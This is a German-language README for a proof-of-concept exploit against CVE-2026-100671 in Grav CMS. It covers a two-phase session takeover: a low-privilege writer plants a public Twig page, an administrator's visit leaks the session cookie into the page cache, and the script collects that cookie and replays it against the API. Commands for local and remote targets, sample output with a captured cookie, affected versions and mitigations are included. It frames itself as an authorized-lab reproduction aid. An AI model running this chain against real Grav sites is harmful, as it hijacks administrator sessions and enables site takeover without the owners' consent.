
Lokaler Proof-of-Concept-Verifier für CVE-2026-100671, der die Offenlegung und Wiederverwendung von Grav-Twig-Seitencache-Session-Cookies gegen Loopback-Ziele reproduziert.
Minimaler, zielgerichteter Verifizierer auf Angreiferseite für die Übernahme der Grav-Content-Twig/Page-Cache-Session, die in Grav 2.0.25 behoben wurde.
Sicherheitshinweise:
Der Angreifer verfügt nicht über den Benutzernamen oder das Passwort des Administrators.
Die tatsächliche Angriffskette ist:
Die Administratoraktion erfolgt außerhalb dieses Skripts. exploit.py akzeptiert keine
Einstellung GRAV_ADMIN_USERNAME oder GRAV_ADMIN_PASSWORD.
Loopback ist die standardmäßige Sicherheitsgrenze. Ein Nicht-Loopback-Ziel erfordert
das explizite Flag --allow-remote, das für eine autorisierte HTB-, TryHackMe- oder
eigene Lab-Maschine gedacht ist.
Der Client folgt Weiterleitungen nur, wenn sie auf dem ausgewählten Ziel-Ursprung bleiben,
verwendet HTTP-Clients aus der Python-Standardbibliothek, wendet Anforderungs-Timeouts an und gibt
das erfasste Cookie nur aus, wenn --show-cookie explizit angegeben wird.
Nur gegen eine Grav-Instanz verwenden, die Sie besitzen oder für deren Test Sie ausdrücklich autorisiert sind. Das Skript erstellt eine öffentliche Proof-Seite. Entfernen Sie diese Seite nach dem Test, wenn das Ziel Inhalte zwischen Ausführungen beibehält.
get_cookie() liest das Session-Cookie des besuchenden Administrators serverseitig.Das Konto zum Schreiben von Seiten benötigt nur den Schreibpfad mit geringen Rechten. Es benötigt nicht
api.pages.read, admin.*, Super-Admin-Zugriff oder Administrator-Anmeldedaten.
2.0.19 bis 2.0.24: anfällig mit der mitgelieferten Standardkonfiguration für Content-Twig.2.0.0 bis 2.0.18 und 1.7.x: nur betroffen, wenn Content-Twig
explizit aktiviert wurde.2.0.25: behoben.Führen Sie ein Grav-Ziel aus mit:
Dieses Repository mit zwei Dateien stellt weder Grav, PHP, Plugins, Konten noch einen Administrator-Bot bereit. Der Besuch des Opfers bleibt eine externe Aktion.
Legen Sie nur die Anmeldedaten oder das Token des Schreibers mit geringen Rechten fest:
export GRAV_TARGET=http://127.0.0.1:8080
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='local-writer-password'
python3 exploit.py
Das Skript erstellt eine zufällige öffentliche Route, gibt deren URL aus und wartet. Lassen Sie den Administrator diese URL einmal aufrufen und drücken Sie dann die Eingabetaste. Das Skript führt die anonyme Sammlung und das lokale API-Replay durch.
Verwenden Sie stattdessen ein vorhandenes Writer-API-Token:
export GRAV_WRITER_TOKEN='local-low-privilege-token'
python3 exploit.py
Nützlich für ein nicht-interaktives Terminal oder einen separaten Opfer-Browser.
Bereite die Seite vor:
python3 exploit.py --prepare-only
Lassen Sie einen Administrator die gedruckte URL aufrufen. Sammeln Sie dann und spielen Sie sie über die gedruckte Route erneut ab; für diese zweite Phase ist kein Anmeldedatensatz erforderlich:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --show-cookie
--show-cookie gibt das erfasste Session-Cookie für lokales/autorisiertes Lab-Debugging aus:
captured_cookie=grav-site-<hash>=<session-value>
Der Wert ist ein gültiges Zugangsdaten-Token. Fügen Sie es nicht in GitHub, Issues, Chats, Screenshots oder Logs ein. Ohne --show-cookie weist das Skript dieselbe Auswirkung über den Replay-Status nach und hält den Wert aus der Ausgabe heraus.
Wenn die Erfassung vor dem Administratorbesuch ausgeführt wird, kann die Angreifer-Anfrage den Cache mit einem leeren Wert füllen. Bereiten Sie eine neue zufällige Route vor und wiederholen Sie den Vorgang.
Hardcodieren Sie keine Maschinen-IP im Repository. Geben Sie das aktuelle Ziel zur Laufzeit an:
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='writer-password'
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--prepare-only
Nachdem der Administrator/Bot die gedruckte URL besucht hat, erfassen und wiederholen Sie:
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--collect-only \
--route /cookie-proof-XXXXXXXX \
--show-cookie
--base-url bleibt ein Kompatibilitätsalias für --target. Remote-HTTP gibt eine Klartext-Warnung aus; verwenden Sie HTTPS, wo die Maschine dies unterstützt.
page_create_status=201
victim_action_url=http://127.0.0.1:8080/cookie-proof-XXXXXXXX
anonymous_page_status=200
cookie_name_disclosed=yes
cached_cookie_visible_to_attacker=yes
captured_cookie=grav-site-<hash>=<session-value>
replayed_cookie_api_status=200
result=VULNERABLE
Die Zeile captured_cookie erscheint nur mit --show-cookie.
Führen Sie denselben zweiphasigen Ablauf gegen Grav 2.0.25 oder später aus und sammeln Sie dann mit:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --expect fixed
Erwartetes korrigiertes Verhalten: kein für den Angreifer sichtbarer Sitzungswert und kein erfolgreiches
Session-Replay. Ein sauberes korrigiertes Ergebnis endet mit 0 bei --expect fixed.
Aktualisieren Sie auf Grav 2.0.25 oder höher. Für ältere Bereitstellungen listet der Advisory
diese temporären Maßnahmen auf:
security.twig_content.process_enabled: false; odersystem.pages.never_cache_twig: true;Behandeln Sie HttpOnly, Secure oder SameSite nicht als Behebung: Das Auslesen des
verwundbaren Cookies erfolgt serverseitig während des Twig-Renderings.
Gemeldet von canhieu. Dieses Repository ist eine Reproduzierbarkeitshilfe für den bereits öffentlichen Advisory, kein Remote-Scanner oder ein Tool zum Ernten von Zugangsdaten.